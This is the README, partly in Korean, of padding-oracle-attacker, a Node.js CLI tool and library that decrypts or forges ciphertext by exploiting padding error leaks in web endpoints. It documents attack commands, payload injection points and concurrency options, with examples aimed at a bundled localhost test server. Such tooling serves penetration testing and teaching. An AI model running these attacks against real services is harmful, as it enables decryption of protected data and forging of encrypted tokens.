
🔓 CLI 도구 및 라이브러리로, 패딩 오라클 공격을 쉽게 실행할 수 있으며, 동시 네트워크 요청과 우아한 UI를 지원합니다.
패딩 오라클 공격을 쉽게 실행할 수 있는 CLI 도구 및 라이브러리입니다. 동시 네트워크 요청과 우아한 UI를 지원합니다.
먼저 Node.js가 설치되어 있는지 확인한 후 다음 명령어를 실행하세요.
$ npm install --global padding-oracle-attacker
또는
$ yarn global add padding-oracle-attacker
Usage
$ padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options]
$ padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> <plaintext> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> hex:<plaintext_hex> <block_size> <error> [options]
$ padding-oracle-attacker analyze <url> [<block_size>] [options]
Commands
decrypt Finds the plaintext (foobar) for given ciphertext (hex:0123abcd)
encrypt Finds the ciphertext (hex:abcd1234) for given plaintext (foo=bar)
analyze Helps find out if the URL is vulnerable or not, and
how the response differs when a decryption error occurs
(for the <error> argument)
Arguments
<url> URL to attack. Payload will be inserted at the end by default. To specify
a custom injection point, include {POPAYLOAD} in a header (-H),
request body (-d) or the URL
<block_size> Block size used by the encryption algorithm on the server
<error> The string present in response when decryption fails on the server.
Specify a string present in the HTTP response body (like PaddingException)
or status code of the HTTP response (like 400)
Options
-c, --concurrency Requests to be sent concurrently [default: 128]
--disable-cache Disable network cache. Saved to [default: false]
poattack-cache.json.gz.txt by default
-X, --method HTTP method to use while making request [default: GET]
-H, --header Headers to be sent with request.
-H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1'
-d, --data Request body
JSON string: {"id": 101, "foo": "bar"}
URL encoded: id=101&foo=bar
Make sure to specify the Content-Type header.
-e, --payload-encoding Ciphertext payload encoding for {POPAYLOAD} [default: hex]
base64 FooBar+/=
base64-urlsafe FooBar-_
hex deadbeef
hex-uppercase DEADBEEF
base64(xyz) Custom base64 ('xyz' represent characters for '+/=')
--dont-urlencode-payload Don't URL encode {POPAYLOAD} [default: false]
--start-from-1st-block Start processing from the first block instead [default: false]
of the last (only works with decrypt mode)
Examples
$ poattack decrypt http://localhost:2020/decrypt?ciphertext=
hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9
16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400
$ poattack analyze http://localhost:2020/decrypt?ciphertext=
Aliases
poattack
padding-oracle-attack
const { decrypt, encrypt } = require('padding-oracle-attacker')
// or
import { decrypt, encrypt } from 'padding-oracle-attacker'
const { blockCount, totalSize, foundBytes, interBytes } = await decrypt(options)
const { blockCount, totalSize, foundBytes, interBytes, finalRequest } = await encrypt(options)
decrypt(options: Object): Promiseencrypt(options: Object): Promiseurl: string공격할 URL입니다. 기본적으로 페이로드가 끝에 추가됩니다. 사용자 정의 주입 지점을 지정하려면 URL, 헤더(requestOptions.headers) 또는 요청 본문(requestOptions.data)에 {POPAYLOAD}를 포함하세요.
blockSize: number서버에서 사용하는 암호화 알고리즘의 블록 크기입니다.
isDecryptionSuccess: ({ statusCode, headers, body }) => boolean서버 응답이 복호화 성공을 나타내는 경우 true를 반환하는 함수입니다.
ciphertext: Buffer (decrypt 전용)복호화할 암호문입니다.
plaintext: Buffer (encrypt 전용)암호화할 평문입니다. 패딩이 자동으로 추가됩니다. 예: Buffer.from('foo bar', 'utf8')
concurrency: number = 128동시에 보낼 네트워크 요청 수입니다.
isCacheEnabled: boolean = true응답이 기본적으로 캐시되어 poattack-cache.json.gz.txt에 저장됩니다. 캐싱을 비활성화하려면 false로 설정하세요.
requestOptions: { method, headers, data }요청 옵션입니다.
requestOptions.method: string요청에 사용할 HTTP 메서드입니다. 기본값은 GET입니다. POST, PUT, DELETE 등이 유효한 옵션입니다.
requestOptions.headers: { string: string }요청과 함께 보낼 헤더입니다. 예: { 'Content-Type': 'application/x-www-form-urlencoded' }
requestOptions.body: string요청 본문입니다. JSON 문자열, URL 인코딩된 매개변수 등이 될 수 있습니다. Content-Type 헤더는 수동으로 설정해야 합니다.
logMode: 'full'|'minimal'|'none' = 'full'full: 모든 것을 콘솔에 기록 (기본값)
minimal: 시작과 완료 후에만 기록
none: 아무것도 기록하지 않음
transformPayload: (ciphertext: Buffer) => string요청 시 ciphertext를 문자열로 변환하는 함수입니다. 기본적으로 ciphertext는 16진수로 인코딩되어 주입 지점(URL 끝, {POPAYLOAD}가 없을 경우)에 삽입됩니다.
decrypt 전용)alreadyFound: Buffer이미 알고 있는 평문 바이트(끝에서부터)로 건너뛸 수 있습니다. 10바이트의 Buffer를 제공하면 마지막 10바이트가 건너뛰어집니다.
initFirstPayloadBlockWithOrigBytes: boolean = false첫 번째 페이로드 블록을 0 대신 원래 ciphertext 바이트로 초기화합니다.
예: abcdef12345678ff 1111111111111111 (대신 00000000000000ff 1111111111111111)
startFromFirstBlock: boolean = false마지막 블록 대신 첫 번째 블록부터 처리를 시작합니다.
makeInitialRequest: boolean = true제공된 원래 ciphertext로 초기 요청을 보내고 서버 응답을 콘솔에 기록하여 네트워크 요청이 올바르게 전송되는지 확인할 수 있습니다.
encrypt 전용)makeFinalRequest: boolean = true새 plaintext에 대한 ciphertext 바이트를 찾은 후, 발견된 바이트로 최종 요청을 보내고 서버 응답을 콘솔에 기록합니다.
lastCiphertextBlock: Buffer마지막 블록에 대한 사용자 정의 암호문입니다. 기본적으로 마지막 블록은 0입니다 (000000000000000).
padding-oracle-attacker는 TypeScript로 작성되었습니다. 소스 파일을 수정하여 실행하려면 먼저 파일을 JS로 컴파일한 후 node로 실행하거나 ts-node를 사용할 수 있습니다.
예: yarn build 후 node dist/cli ... 또는 간단히 ts-node src/cli ...
yarn build 또는 npm run buildsrc 디렉터리 내의 TypeScript 파일을 JS 파일로 컴파일하여 dist 디렉터리에 출력합니다.
yarn clean 또는 npm run cleandist 디렉터리를 삭제합니다.
yarn lint 또는 npm run linteslint를 사용하여 파일을 린트합니다.
yarn test 또는 npm run testava를 사용하여 린트와 테스트를 실행합니다.
node test/helpers/vulnerable-server.js패딩 오라클 공격에 취약한 테스트 서버를 실행합니다. 주소: http://localhost:2020
MIT © Kishan Bagaria